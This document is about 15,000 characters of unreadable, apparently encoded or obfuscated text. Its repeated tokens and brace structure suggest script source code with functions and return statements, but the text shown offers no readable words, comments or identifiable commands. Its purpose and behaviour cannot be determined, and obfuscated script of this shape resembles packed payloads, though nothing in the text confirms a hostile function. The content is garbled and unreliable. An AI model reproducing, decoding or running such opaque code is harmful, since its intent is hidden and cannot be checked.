VUAG_IICHXEBXlJE@IOXEAI_ED_TMHNCGTNsH^OGY_HMU@YNND@UGH@\HB@ NND@UGH@\HB@&YB_IXOsUEXOH ]ZDUD^NF[]V CCFYYUA_ T_OZCUZM[&&&Q&\@D[FO@KBUTIVTTUBTZE^A[&EJ\@D[FO@KBUTPPNND@UGH@\HB@\@D[FO@KBUTTJMTJM^IXY^B&VK@JMNM[sOD\TXM^@KF]VX][_EX&HZ]]M\F[FZVUNND@UGH@\HB@^_NIVAZ EK^NHCBNJO_&IIKHZ_AODETNFYUH]T_YAHOZXYJMEK^NHCBNJO_&ZZ[MMHY\K[NZGlE[sZ]V\MU]NVKIIKHZ_AODETNF&IIKHZ_AODETNFHZ]]M\F[FZVUNND@UGH@\HB@&&&YUH]T_YAHOZXYJMVUAG_IICHXHZ]]M\F[FZVUHZ]]M\F[FZVUNND@UGH@\HB@&&V^HMAMEBVY]C@VUAG_IICHXNND@UGH@\HB@E[sZ]V\MU]NVKDCAIsY^@ |d|sy~`sdcxE__IXsi~zi~wE[sZ]V\MU]NVKqsi~zi~wNND@UGH@\HB@q&[EJZJKU\CsHIJEBIHEK^NHCBNJO_

{|ays|`ykebshe~{|ays|`ykebshe~YUH]T_YAHOZXYJME[sZ]V\MU]NVK&&&&UY\B\IHIJEBIHE[sZ]V\MU]NVK

{|s|`ykebshe~{|s|`ykebshe~YUH]T_YAHOZXYJMEK^NHCBNJO_&MHB^KZHIJEBIHE[sZ]V\MU]NVK{|socbxibxshe~YUH]T_YAHOZXYJM&C]sEX\VAV^BsJ_AOFHTI\Ds\IJ&&VUAG_IICHX &M^^MUss|mxdsnss ss|`ykebsnmiss sshcamebss ssdnsnss ssk|mxdsnss ssmn|mxdsnss ssocbxibxhe~snss ssayhe~snss ss|`ykebhe~snss ss`ykss sszi~ecbss &M^^MUNND@UGH@\HB@ZZ[MMHY\K[NZG VK@JMNM[sOD\ V^HMAMEBVY]C@ NND@UGH@\HB@ZIV@OY\^ E[sZ]V\MU]NVK_ED_TMHN EK^NHCBNJO_mn|mxd E[sZ]V\MU]NVKMHB^KZ EK^NHCBNJO_[EJZJKU\Cs EK^NHCBNJO_UY\B\I VUAG_IICHX^_NIVAZ E[sZ]V\MU]NVK [KNGMVXV[KCMBM[JX&&EJC]sEX\VAV^W&EJEBXKIXsC\XECBVUAG_IICHX CGTNsH^OGY_HMU@YNND@UGH@\HB@ EK^NHCBNJO_&^IXY^B&Q&EJZVHB^HE]OsNOVNYC]sEX\VAV^W&OCA\MOX^IKE_X^U&&CGTNsH^OGY_HMU@YEK^NHCBNJO_ E[sZ]V\MU]NVK&^IXY^B&Q&EJ_N]JNVYOBBZ_TFET\_ED_TMHN C]sEX\VAV^W&OGDYBEsTOUKXHX_ED_TMHN [DVTYUDIYEJ&]]XI^s@\F[YJ_V_ZEOI_ED_TMHN TMTM&@MJGUDXJDsM_ED_TMHN&&XFHN]]TNEBYCMsEGMC@JVNND@UGH@\HB@ATEHMJK]Z NND@UGH@\HB@C]sEX\VAV^ E[sZ]V\MU]NVK&&&&XFHN]]TNEBYCMsEGMC@JVNND@UGH@\HB@ATEHMJK]Z [KNGMVXV[KCMBM[JX VUAG_IICHXI_FOZYAZ[IHHI_FOZYA	&lEBO@YHIsCBOI_ED_TMHN&_IXsX^MB_EIBXEK^NHCBNJO_  &&&&Q&&&YB_IX[EJZJKU\Cs UY\B\I MHB^KZ&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&&Q&YB^IMODMN@I&&Q&JYBOXECBN^K^OUAND]XIV[YT\DKB_Is&&&WTJMB_TTINHIA]HTEYIssTJMB_	&EJEK^NHCBNJO_[YT\DKB_Is^IXY^BJM@_I&&&E@DUK\OBBHUVUAG_IICHX[YT\DKB_Is&EJE@DUK\OBBHU^IXY^BX^YI&EJE@DUK\OBBHU^IXY^BJM@_I&C[[CN_@KD_X^E[sZ]V\MU]NVK[YT\DKB_Is  &DV\K^]CAVE@NEK^NHCBNJO_C[[CN_@KD_X^ E[sZ]V\MU]NVKC[[CN_@KD_X^ pX&^IXY^BDV\K^]CAVE@NVUAG_IICHXC[[CN_@KD_X^&Q&JYBOXECBIVTTUBTZE^A[CBYOBNJAJM@_I&W&_XMXEO\@D[FO@KBUTBY@@&EJCBYOBNJAW&\@D[FO@KBUTBY@@&Q&EJ\@D[FO@KBUTBY@@^IXY^B\@D[FO@KBUT&&[YT\DKB_IsJM@_I&XO\XXJsCYNXXKDlEK^NHCBNJO_^_NIVAZBGAA\s\EU]|d|sebxsamt|d|sebxsamt^]@ATZKB]_BGAA\s\EU]&EJXO\XXJsCYNXXKD

XO\XXJsCYNXXKD

XO\XXJsCYNXXKD[YT\DKB_IslVUAG_IICHX^_NIVAZ&EJEK^NHCBNJO_[YT\DKB_Is

NND@UGH@\HB@[YT\DKB_Is[YT\DKB_IsF[sE_EYEDFGFI[YT\DKB_Is&&&EJEK^NHCBNJO_[YT\DKB_Is

EK^NHCBNJO_[YT\DKB_Is

E[sZ]V\MU]NVK[YT\DKB_Is

N^K^OUAND]XIV[YT\DKB_Is

ZVHB^HE]OsNOVNY[YT\DKB_IsW&\@D[FO@KBUT[YT\DKB_Is&^IXY^B\@D[FO@KBUT&Q&OKNIF[^MCDNEYZF[K[Y^VBGssTE[sZ]V\MU]NVK &EJE[sZ]V\MU]NVKOKNIF[^MC

E[sZ]V\MU]NVKOKNIF[^MC

VUAG_IICHXOKNIF[^MC

N^K^OUAND]XIVOKNIF[^MC

ZVHB^HE]OsNOVNYOKNIF[^MCW&\@D[FO@KBUTOKNIF[^MC&^IXY^B\@D[FO@KBUT&Q&\@D[FO@KBUTJM@_I&^IXY^B\@D[FO@KBUT&Q&JYBOXECBTXM^@KF]VX][_EXCBYOBNJAJM@_I&W&_XMXEOOZE^G@JKsZBY@@&&&EJCBYOBNJAW&{|n@COGm|eZ_IXXEBK__IOXECB&&OZE^G@JKsZBY@@&Q&{|hMXMaCHY@I_I^EM@EVMN@IHE_\MXODI^&&EJOZE^G@JKsZBY@@^IXY^BOZE^G@JKsZ&[YT\DKB_IsIVTTUBTZE^A[&EJE[sZ]V\MU]NVK[YT\DKB_IsPPNND@UGH@\HB@[YT\DKB_IsPPVUAG_IICHX[YT\DKB_IsPPN^K^OUAND]XIV[YT\DKB_IsPPZVHB^HE]OsNOVNY[YT\DKB_IsW&OZE^G@JKsZJM@_I&^IXY^BOZE^G@JKsZ&Q&OZE^G@JKsZEK^NHCBNJO_YsTB\JB\FNJZOEUs[YT\DKB_Is&^IXY^BOZE^G@JKsZ&Q&JYBOXECBKG[JDUITEMI_TDTACBVZ[K]A^&W&EJEK^NHCBNJO_TDTACBVZ[K]A^PPE[sZ]V\MU]NVKTDTACBVZ[K]A^rPPNND@UGH@\HB@TDTACBVZ[K]A^  pTJpTN^IXY^B&&&[_X_O@AClE[sZ]V\MU]NVKz NND@UGH@\HB@TDTACBVZ[K]A^ TT&&[_X_O@ACNND@UGH@\HB@[_X_O@AC[_X_O@ACwq&EJ[_X_O@ACPP[_X_O@AC^IXY^B[_X_O@AC&^IXY^B&Q&JYBOXECBDXGAV][KAJ[sGVHZF_ABJ\&&W&^IXY^BEK^NHCBNJO_DITHIOZF_ABJ\wq&Q&JYBOXECBXJA]CCJGYUMIGCB[EA_KJ\D&W&EJE[sZ]V\MU]NVKEA_KJ\DPPEA_KJ\D^IXY^BEA_KJ\DU\DMJ\GMIH^GGVI^HM^U\DMJ\GMI&_XMXEOJZJEFZUT@U_BY@@&EJJZJEFZUT@U_BY@@W&JZJEFZUT@U_JM@_I&EJVUAG_IICHXVUAG_IICHXW&&&&sHHHIJEBIHVUAG_IICHX{|socbxibxshe~HIJEBIHVUAG_IICHXmn|mxd&EJsHHW&&&BU_Cs_lHE_GsJ^IIs_\MOIsHH&EJBU_Cs_JM@_I

BU_Cs_JZJEFZUT@U_X^YI&Q&Q&EJJZJEFZUT@U_W&EJVUAG_IICHXVUAG_IICHXlY\HMXIsC\XECBVUAG_IICHX EK^NHCBNJO_ E[sZ]V\MU]NVKMX^ENYTKTTIDKBACED^FUJVMX^ENYTK	&QI@_IEJNND@UGH@\HB@VUAG_IICHXW&DYAKA@XO[DAEBXKIXsC\XECBNND@UGH@\HB@ &&&EJDYAKA@XO[DA

EK^NHCBNJO_DYAKA@XO[DAJZJEFZUT@U_JM@_I&Q&Q&EJJZJEFZUT@U_W&^IXY^BEA_KJ\D&{|iBXEXU~IOC^H__EHINM^^IKECB&&Q&E_K^]NNT\VUAG_IICHX &EJNND@UGH@\HB@EA_KJ\DE_K^]NNT\^IXY^BEA_KJ\D&EJE[sZ]V\MU]NVKEK^NHCBNJO_EA_KJ\D NND@UGH@\HB@^IXY^BEA_KJ\D&&&&[DE@IE[sZ]V\MU]NVKEA_KJ\DE_K^]NNT\W&\FJCOCFJY&EJEK^NHCBNJO_E[sZ]V\MU]NVKW&X^UW&\FJCOCFJYlE[sZ]V\MU]NVK^MBHCAsNUXI_&QOMXODxD^C[MN@I@XB\NXsW&&\FJCOCFJY&QOMXODiTOI\XECB@XB\NXsW&\FJCOCFJY&Q&Q&EJE[sZ]V\MU]NVK\FJCOCFJYW&\FJCOCFJYE[sZ]V\MU]NVKYBE]EH X^YI&[DE@IVUAG_IICHX\FJCOCFJY\FJCOCFJYE[sZ]V\MU]NVK\FJCOCFJY&Q&EA_KJ\DpB\FJCOCFJYVUAG_IICHX&Q&^IXY^BEA_KJ\D&Q&&JYBOXECBF[sE_EYEDFGFIEA_KJ\D&W&&EJEK^NHCBNJO_EA_KJ\DPPE[sZ]V\MU]NVKEA_KJ\D^IXY^BEA_KJ\D[@EV@VBOMMKI]][@EV@VBO	&AFA^I_EGNKYZVUAG_IICHXNND@UGH@\HB@  EA_KJ\D&^IXY^BE[sZ]V\MU]NVKAFA^I_EGNKYZAFA^I_EGNKYZEA_KJ\DUTG\FFJ]XV_OTIUTG\FFJ]XUTG\FFJ]XUTG\FFJ]X&Q&JYBOXECB@MJGUDXJDsMB@TGFOI&W&AMX^ETX^MB_\C_I&&EJE[sZ]V\MU]NVKNND@UGH@\HB@PPNND@UGH@\HB@EK^NHCBNJO_^IXY^B&EJE[sZ]V\MU]NVKB@TGFOIPPB@TGFOIPPlVUAG_IICHXB@TGFOI^IXY^B&OMY_M@_EBK@IXCB&&EJE__IXk`cnm`wNND@UGH@\HB@qPPNND@UGH@\HB@k`cnm`wEK^NHCBNJO_qW&k`cnm`wE[sZ]V\MU]NVKqKIXsC\XECBEK^NHCBNJO_ M^^MU&&&EJNND@UGH@\HB@k`cnm`wVUAG_IICHXqk`cnm`wE[sZ]V\MU]NVKqM^^MU&Q&ZF_ABJ\k`cnm`wNND@UGH@\HB@q&EA_KJ\DlNND@UGH@\HB@B@TGFOI&&&EJNND@UGH@\HB@EA_KJ\D^IXY^B&&&&EJVUAG_IICHXEA_KJ\DTOMJMTMEA_KJ\DF[sE_EYEDFGFIEA_KJ\D&&ZF_ABJ\wE[sZ]V\MU]NVKB@TGFOIqM^^MU\B@TGFOI DVUAG_IICHXEA_KJ\D K[KNGMVXV[KCMBM[JX XVUAG_IICHX&EJVUAG_IICHXZF_ABJ\W&&&JC^IMODZF_ABJ\M_IYsJX^FNZGsTU^K[@W&&&EJE[sZ]V\MU]NVKZGsTU^K[@PPE__IXZGsTU^K[@wXqPPEBXZGsTU^K[@wXqVUAG_IICHXYB_IXZF_ABJ\wIYsJX^FNq&&&&Q&[DE@IVUAG_IICHXZF_ABJ\W&JU[I]]^M_J]TBY@@&DFV_NVOIY^CBY@@&JC^IMODZF_ABJ\M_IYsJX^FNZGsTU^K[@W&ANCJJIO]ZTFHVUAG_IICHXZGsTU^K[@

E__IXZGsTU^K[@wXqEBXZGsTU^K[@wXq&EJDFV_NVOIY^CBY@@PPANCJJIO]ZTFHDFV_NVOIY^CW&DFV_NVOIY^CANCJJIO]ZTFH&JU[I]]^M_J]TIYsJX^FN&Q&Q&EJJU[I]]^M_J]TBY@@N^IMG&YB_IXZF_ABJ\wJU[I]]^M_J]Tq&&Q&&&&Q&Y\HMXIsC\XECBE[sZ]V\MU]NVK ZF_ABJ\ NND@UGH@\HB@&k`cnm`wEK^NHCBNJO_qZF_ABJ\&Q&JYBOXECBY_KT]GKMOIK^\UFKEK@B@TGFOI&W&EJEK^NHCBNJO_B@TGFOIPPB@TGFOI^IXY^BJM@_I&EJE__IXk`cnm`wE[sZ]V\MU]NVKqPPNND@UGH@\HB@k`cnm`wNND@UGH@\HB@qW&&&&k`cnm`wEK^NHCBNJO_qE[sZ]V\MU]NVKVUAG_IICHXKIXsC\XECBNND@UGH@\HB@ M^^MUM^^MU&EJE[sZ]V\MU]NVKk`cnm`wVUAG_IICHXqk`cnm`wEK^NHCBNJO_qM^^MU&Q&|o~ifex_\IOEM@EVI^I\@EOMXC^&&&ZF_ABJ\k`cnm`wNND@UGH@\HB@q&]XMTN]BBYB]EK^NHCBNJO_B@TGFOI&EJE__IXZF_ABJ\w]XMTN]BBYB]q

E[sZ]V\MU]NVKZF_ABJ\w]XMTN]BBYB]q

E__IXZF_ABJ\w]XMTN]BBYB]qwDqW&EJEBXlVUAG_IICHXB@TGFOI^IXY^BVUAG_IICHX&EA_KJ\DlEK^NHCBNJO_B@TGFOI&EJEK^NHCBNJO_EA_KJ\DW&EJE[sZ]V\MU]NVKEA_KJ\DTJITNEA_KJ\DF[sE_EYEDFGFIEA_KJ\D&^IXY^BNND@UGH@\HB@EA_KJ\DZF_ABJ\w]XMTN]BBYB]qwDqX^YIEK^NHCBNJO_&Q&^IXY^BJM@_I&&&Q&&HZJ[JZY^lEK^NHCBNJO_B@TGFOI JM@_I BY@@  &EJ&&&E[sZ]V\MU]NVKHZJ[JZY^

E[sZ]V\MU]NVKNND@UGH@\HB@ HZJ[JZY^&

TIEsOI[@[_HGJZB@TGFOI &W&EJEBXlEK^NHCBNJO_B@TGFOI^IXY^BJM@_I&&&&EA_KJ\D_X^EBKlE[sZ]V\MU]NVKB@TGFOI&EJE[sZ]V\MU]NVKEA_KJ\DEA_KJ\DF[sE_EYEDFGFIEA_KJ\D&EJZVHB^HE]OsNOVNYEA_KJ\D^IXY^BVUAG_IICHX&Q&^IXY^BJM@_I&&&Q&JYBOXECBZKMH]NBBOMCYU&W&_XMXEOZF_ABJ\BY@@&EJZF_ABJ\BY@@^IXY^BZF_ABJ\&&EA_KJ\D_X^EBKlNND@UGH@\HB@^_NIVAZ&EJE[sZ]V\MU]NVKEA_KJ\DEA_KJ\DF[sE_EYEDFGFIEA_KJ\D&ZF_ABJ\NND@UGH@\HB@EA_KJ\D&&^IXY^BZF_ABJ\&Q&JYBOXECBAEX\A[XK@UY@sE^BU&&W&&&^IXY^BEK^NHCBNJO_ZKMH]NBBOMCYU  &Q&JYBOXECBOIGHATIDHGY&&&W&^IXY^B[AXXJCU]ZNBNKENND@UGH@\HB@C_I\\NII@T^YDmn|mxdNND@UGH@\HB@ E[sZ]V\MU]NVK&Q&JYBOXECBX@TO_DMKTN[&W&CFMsKJ\JFJVXM^^MU&EJNND@UGH@\HB@E[sZ]V\MU]NVKW&^IOY^_EZIJMOXC^U&&AMYENAVU^slKIXsC\XECBVUAG_IICHX M^^MU&EJNND@UGH@\HB@AMYENAVU^sCFMsKJ\JFJVXAMYENAVU^s&{|\MOI^n@COG\MXODXU\IIBZE^CBAIBX&&Q&EA_KJ\DlNND@UGH@\HB@OIGHATIDHGYlE[sZ]V\MU]NVKOIGHATIDHGY&EJNND@UGH@\HB@EA_KJ\D

VUAG_IICHXEA_KJ\D NND@UGH@\HB@W&XFsI@TEsE[sZ]V\MU]NVKEK^NHCBNJO_EA_KJ\D r X^YI&EJEK^NHCBNJO_XFsI@TEs

IA\XUCFMsKJ\JFJVXwVUAG_IICHXqPPIA\XUXFsI@TEswEK^NHCBNJO_q

XFsI@TEswNND@UGH@\HB@qCFMsKJ\JFJVXwVUAG_IICHXqCFMsKJ\JFJVXXFsI@TEs&Q&^IXY^BCFMsKJ\JFJVX&Q&JYBOXECBB\Z^M[NKUKM@CBTNO]Z[Z&W&OCBZITX^EI&&X^UW&EJHIJEBIHE[sZ]V\MU]NVK^IXY^B&N]HZ][T_FCYI@EK^NHCBNJO_&EJCBTNO]Z[ZNND@UGH@\HB@PPCBTNO]Z[ZNND@UGH@\HB@W&\^IZX@TO_DMKTN[&EJ&E__IX\^IZwEK^NHCBNJO_q \^IZwEK^NHCBNJO_q

\^IZwEK^NHCBNJO_qCBTNO]Z[Z&&&&

N]HZ][T_FCYI@EBX\^IZwEK^NHCBNJO_qCBTNO]Z[ZVUAG_IICHX&&&^IXY^B&Q&_I_]YE@EBIM^_X^MXIKU&&CFMsKJ\JFJVXM^^MU&&Z[KNGMVXV[KCMBM[JX &NND@UGH@\HB@AEX\A[XK@UY@sE^BU &VUAG_IICHX^_NIVAZ &&&VUAG_IICHXNND@UGH@\HB@^_NIVAZ E[sZ]V\MU]NVK &&EK^NHCBNJO_CBTNO]Z[Z &VUAG_IICHXN]HZ][T_FCYI@ &EK^NHCBNJO_N]HZ][T_FCYI@ &E[sZ]V\MU]NVKE__IXsi~zi~wNND@UGH@\HB@qEBXsi~zi~wEK^NHCBNJO_qN]HZ][T_FCYI@ &&&&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVKlY\HMXIsC\XECBE[sZ]V\MU]NVK CFMsKJ\JFJVX EK^NHCBNJO_&^\G@GYO_[AXXJCU]ZNBNKE&EJlVUAG_IICHX^\G@GYO_PPsBTGT_@UKFJMMH^\G@GYO_  X^YIW&lEK^NHCBNJO_OIGHATIDHGY VUAG_IICHXE[sZ]V\MU]NVKCFMsKJ\JFJVX&Q&QOMXODxD^C[MN@I@XB\NXsW&QOMXODiTOI\XECB@XB\NXsW&Q&Q&&&&JYBOXECBOY\OOIOMZBYJTCFMsKJ\JFJVX&W&EJEK^NHCBNJO_CFMsKJ\JFJVXPPIA\XUCFMsKJ\JFJVXwEK^NHCBNJO_qPPEK^NHCBNJO_CFMsKJ\JFJVXwNND@UGH@\HB@q^IXY^BEK^NHCBNJO_&J@NJMVABE^CCFMsKJ\JFJVXwNND@UGH@\HB@q&EJlNND@UGH@\HB@J@NJMVABE^CPPEBXlNND@UGH@\HB@J@NJMVABE^C^IXY^BE[sZ]V\MU]NVK&EJZFBA][K]CJ^BJ@NJMVABE^C^IXY^BEK^NHCBNJO_&Is@JKZXMsYE__IXCFMsKJ\JFJVXwNND@UGH@\HB@qCFMsKJ\JFJVXwEK^NHCBNJO_q&_CBE]UsI_AFZE__IXCFMsKJ\JFJVXwNND@UGH@\HB@qEBXCFMsKJ\JFJVXwE[sZ]V\MU]NVKq&&&EJIs@JKZXMsYE[sZ]V\MU]NVK^IXY^B_CBE]UsI_AFZ

VUAG_IICHX_CBE]UsI_AFZNND@UGH@\HB@EK^NHCBNJO_&EJIs@JKZXMsYEK^NHCBNJO_^IXY^BEK^NHCBNJO_&EJIs@JKZXMsYNND@UGH@\HB@^IXY^B_CBE]UsI_AFZ

VUAG_IICHX_CBE]UsI_AFZTTEK^NHCBNJO_VUAG_IICHX&&&^IXY^BNND@UGH@\HB@&Q&JYBOXECBBZOVYC[ODT^B@TGFOI&W&EJlVUAG_IICHXB@TGFOI^IXY^BJM@_I&&DDA@@AUKXXICEBXlE[sZ]V\MU]NVKB@TGFOI&EJDDA@@AUKXXICTTOPPDDA@@AUKXXIC^IXY^BJM@_I&&HZJ[JZY^lNND@UGH@\HB@B@TGFOI JM@_I BY@@  &EJVUAG_IICHXHZJ[JZY^PPNND@UGH@\HB@EK^NHCBNJO_ HZJ[JZY^^IXY^BJM@_I&EJDDA@@AUKXXICW&E_K^]NNT\lNND@UGH@\HB@B@TGFOI JM@_I BY@@ DDA@@AUKXXIC&^IXY^BNND@UGH@\HB@E_K^]NNT\

NND@UGH@\HB@E[sZ]V\MU]NVK E_K^]NNT\&&&&Q&&&EA_KJ\DlE[sZ]V\MU]NVKB@TGFOI&EJEK^NHCBNJO_EA_KJ\D^IXY^BJM@_I&^IXY^BZVHB^HE]OsNOVNYEA_KJ\D&Q&JYBOXECBZFBA][K]CJ^BB@TGFOI&W&HZ]]M\F[FZVUE[sZ]V\MU]NVKB@TGFOI E[sZ]V\MU]NVK&JC^IMODM^^MUNND@UGH@\HB@B@TGFOI YsOMCBICZZUG_CDXBM_I^BIDC@VW&NFTMJsE^MMJI^BIDC@VVUAG_IICHXHZ]]M\F[FZVU&EJlE[sZ]V\MU]NVKNFTMJsE^MMJPPEBXlNND@UGH@\HB@NFTMJsE^MMJNND@UGH@\HB@OCBXEBYI&&MJ@KJUDVUAG_IICHX_X^EBKlNND@UGH@\HB@NFTMJsE^MMJ&&&EJMJ@KJUDOCBXEBYI&&&EA_KJ\D_X^EBKlEK^NHCBNJO_B@TGFOI&EJEK^NHCBNJO_EA_KJ\DEA_KJ\DF[sE_EYEDFGFIEA_KJ\D&&&EJEA_KJ\D

VUAG_IICHXEA_KJ\DMJ@KJUD^IXY^BX^YI&Q&^IXY^BJM@_I&Q&JYBOXECB^[ATE^_EsDZNBHETB@TGFOI&W&EJE[sZ]V\MU]NVKNND@UGH@\HB@PPNND@UGH@\HB@NND@UGH@\HB@^IXY^B&VCU^[AUTXlKIXsC\XECBE[sZ]V\MU]NVK M^^MU&EJVUAG_IICHXVCU^[AUTXVCU^[AUTXM^^MU&VCU^[AUTXwNND@UGH@\HB@B@TGFOIqB@TGFOI&EJE[sZ]V\MU]NVKVCU^[AUTXVCU^[AUTXEK^NHCBNJO_VCU^[AUTX TIT BY@@ X^YI&lY\HMXIsC\XECBEK^NHCBNJO_ VCU^[AUTX E[sZ]V\MU]NVK&Q&&&&JYBOXECB]FIOZOVBNJUZN&W&EJE[sZ]V\MU]NVKNND@UGH@\HB@PPEK^NHCBNJO_EK^NHCBNJO_^IXY^B&VCU^[AUTXlKIXsC\XECBNND@UGH@\HB@ M^^MU&EJNND@UGH@\HB@VCU^[AUTXPPIA\XUVCU^[AUTX^IXY^B&TMZCKUKM^^MU&&&&JC^IMODVCU^[AUTXM_IYsJX^FNJ@NJMVABE^CW&EJVUAG_IICHXJ@NJMVABE^CPPJ@NJMVABE^CPPlNND@UGH@\HB@J@NJMVABE^COCBXEBYI&EJY_KT]GKMOIK^\UFKEK@J@NJMVABE^CJM@_IWTMZCKUKwIYsJX^FNqJ@NJMVABE^COCBXEBYIQ&&]]XI^s@\F[YJ_V_ZEOIJ@NJMVABE^C &EJEU@^_Y^]OZUI]BJ@NJMVABE^CWEFA_JZ]KZH]^JBFMHEFA_JZ]KZH&EJVUAG_IICHXE[sZ]V\MU]NVKlC\OMODIsEBZM@EHMXIJ@NJMVABE^C X^YI&QI@_IEJlEK^NHCBNJO_J@NJMVABE^CW&TMZCKUKwIYsJX^FNqJ@NJMVABE^C&Q&Q&lY\HMXIsC\XECBE[sZ]V\MU]NVK TMZCKUK EK^NHCBNJO_&Q&JYBOXECBMZHEXG@CAKO_s@BKJ&W&X^UW&&&&@XB\NXsEK^NHCBNJO_EK^NHCBNJO_lI^^C^sKIXs@M_XBY@@&EJ&NND@UGH@\HB@@XB\NXs

IA\XU@XB\NXswVUAG_IICHXq

IA\XU@XB\NXswE[sZ]V\MU]NVKq&

NND@UGH@\HB@@XB\NXswVUAG_IICHXq M^^MUisi~~c~ is|m~i isoc~isi~~c~ isoca|e`isi~~c~ isyi~si~~c~ X^YI&W&VFIJFV_NZI@ElE[sZ]V\MU]NVK^_NIVAZ&&&&&sIJlEK^NHCBNJO_@XB\NXswNND@UGH@\HB@q&&&&EJNND@UGH@\HB@VFIJFV_NZI@E

VUAG_IICHXsIJ

sIJVFIJFV_NZI@E^IXY^B&Q&B\Z^M[NKUKM@VUAG_IICHX&EJHIJEBIHVUAG_IICHXW&AECX\B_\@E[K\A_[sI\&&&EJlEK^NHCBNJO_AECX\B_\wqW&[MBBAHNlNND@UGH@\HB@AECX\B_\wq JM@_I BY@@  r&&EJVUAG_IICHX[MBBAHN

E[sZ]V\MU]NVK[MBBAHN NND@UGH@\HB@[KNGMVXV[KCMBM[JXW&&&YCAJXVDFClEK^NHCBNJO_AECX\B_\wqVUAG_IICHXlE[sZ]V\MU]NVKAECX\B_\wqVUAG_IICHX JM@_I BY@@  &EJYCAJXVDFC[MBBAHNlNND@UGH@\HB@AECX\B_\wq AECX\B_\wqEK^NHCBNJO_&Q&Q&YB_IXAECX\B_\ [MBBAHN YCAJXVDFC&Q&QOMXODxD^C[MN@IFNMZHZBB\]NGW&QOMXODiTOI\XECBFNMZHZBB\]NGW&Q&Q&JYBOXECBV[XIBYTM@DOH\UVXZX\D@H_N&W&&&&EJEK^NHCBNJO_XZX\D@H_N^IXY^B&EJNND@UGH@\HB@NND@UGH@\HB@ XZX\D@H_N Z[UNUHN\GEKW&JC^IMODZ[UNUHN\GEKwqM_VN\X\TYENW&EJKG[JDUITEMI_EK^NHCBNJO_VN\X\TYEN X^YI^IXY^B&Q&Q&&&&EJNND@UGH@\HB@VUAG_IICHX XZX\D@H_N Z[UNUHN\GEKW&JC^IMODZ[UNUHN\GEKwqM_VN\X\TYENW&EJKG[JDUITEMI__X^E\O_@M_DI_VN\X\TYEN^IXY^B&EJE[sZ]V\MU]NVKVN\X\TYEN EK^NHCBNJO_JM@_IWC@X[E@YUM|d|samfc~szi~ecbUUDUANYNGYC@X[E@YUM&@MHTU_FI_Hs\^IKs^I\@MOIsOM@@NMOGE[sZ]V\MU]NVK E[sZ]V\MU]NVK VN\X\TYEN&EJVUAG_IICHX@MHTU_FI_Hs

@MHTU_FI_HsVN\X\TYEN

KG[JDUITEMI_@MHTU_FI_Hs^IXY^B&Q&Q&Q&EJEK^NHCBNJO_EK^NHCBNJO_ XZX\D@H_N Z[UNUHN\GEKW&&&JC^IMODZ[UNUHN\GEKwqM_VN\X\TYENW&&&EJKG[JDUITEMI_E[sZ]V\MU]NVKM^^MUE[sZ]V\MU]NVK EK^NHCBNJO_ M^^MUpp p VN\X\TYEN^IXY^B&&&&EJVUAG_IICHXVN\X\TYEN NND@UGH@\HB@JM@_IW&@MHTU_FI_Hs\^IKs^I\@MOIsOM@@NMOGNND@UGH@\HB@ NND@UGH@\HB@ VN\X\TYEN&EJEK^NHCBNJO_@MHTU_FI_Hs

@MHTU_FI_HsVN\X\TYEN

KG[JDUITEMI_@MHTU_FI_Hs^IXY^B&&&&Q&Q&Q&^IXY^BXZX\D@H_N&Q&JYBOXECB[N^A@[FOH^]ZT[YT\DKB_Is&W&EJEK^NHCBNJO_[YT\DKB_IsPPEK^NHCBNJO_[YT\DKB_Is NND@UGH@\HB@JM@_I

EK^NHCBNJO_[YT\DKB_Is VUAG_IICHXJM@_I^IXY^BJM@_I&&&&EJEK^NHCBNJO_NND@UGH@\HB@ [YT\DKB_Is Z[UNUHN\GEKW&&&JC^IMODZ[UNUHN\GEKwqM_VN\X\TYENW&EJKG[JDUITEMI_VUAG_IICHXVN\X\TYEN X^YI^IXY^BX^YI&Q&Q&EJE[sZ]V\MU]NVKEK^NHCBNJO_ [YT\DKB_Is Z[UNUHN\GEKW&&JC^IMODZ[UNUHN\GEKwqM_VN\X\TYENW&EJKG[JDUITEMI__X^E\O_@M_DI_VN\X\TYEN^IXY^BX^YI&Q&lXEAICYXJ@U[IEKDX&&JC^IMODZ[UNUHN\GEKwqM_VN\X\TYENW&&&&EJVUAG_IICHXVN\X\TYEN NND@UGH@\HB@JM@_IOCBXEBYI&&&@MHTU_FI_Hs\^IKs^I\@MOIsOM@@NMOGE[sZ]V\MU]NVK VUAG_IICHX VN\X\TYEN&EJNND@UGH@\HB@@MHTU_FI_Hs

@MHTU_FI_HsVN\X\TYEN

KG[JDUITEMI_@MHTU_FI_Hs^IXY^BX^YI&Q&Q&EJVUAG_IICHXVUAG_IICHX [YT\DKB_Is Z[UNUHN\GEKW&&&JC^IMODZ[UNUHN\GEKwqM_VN\X\TYENW&&EJKG[JDUITEMI_NND@UGH@\HB@M^^MUEK^NHCBNJO_ NND@UGH@\HB@ M^^MUpp p VN\X\TYEN^IXY^BX^YI&&&Q&JC^IMODZ[UNUHN\GEKwqM_VN\X\TYENW&EJVUAG_IICHXVN\X\TYEN NND@UGH@\HB@JM@_IOCBXEBYI&@MHTU_FI_Hs\^IKs^I\@MOIsOM@@NMOGVUAG_IICHX VUAG_IICHX VN\X\TYEN&EJE[sZ]V\MU]NVK@MHTU_FI_Hs

@MHTU_FI_HsVN\X\TYEN

KG[JDUITEMI_@MHTU_FI_Hs^IXY^BX^YI&&Q&Q&^IXY^BJM@_I&&&Q&JYBOXECB^CGX]CJZ[V[YT\DKB_Is&WGNUFVEPN^AJZ[sNCGNUFVEr&&&&EJE[sZ]V\MU]NVK[YT\DKB_IsPP[YT\DKB_Is^IXY^B&^IXY^BEK^NHCBNJO_EK^NHCBNJO_ VUAG_IICHX[YT\DKB_Is   ZF_ABJ\ZF_ABJ\wq&Q&JYBOXECBEHY^[VIBXTTGTTEA_KJ\D G^AU[TIUAs^CFT Z@_JDHsFV]BY@@&WFOD^DFE@MHM_Y[NFFOD^DFEFOD^DFEFOD^DFE&EJE[sZ]V\MU]NVKEA_KJ\DPPEA_KJ\D^IXY^BEA_KJ\D&MKFFVMB_[DZAC@NND@UGH@\HB@G^AU[TIUAs^CFTEK^NHCBNJO_&^EVOZFVCD]BHTsT&GJDDFs@\JNK&[DE@IGJDDFs@\JNKW&^HM@OCJE[sZ]V\MU]NVKEA_KJ\D MKFFVMB_[DZAC@&EJ^HM@OCJJM@_IN^IMG&[_X_O@AC^HM@OCJNND@UGH@\HB@MKFFVMB_[DZAC@&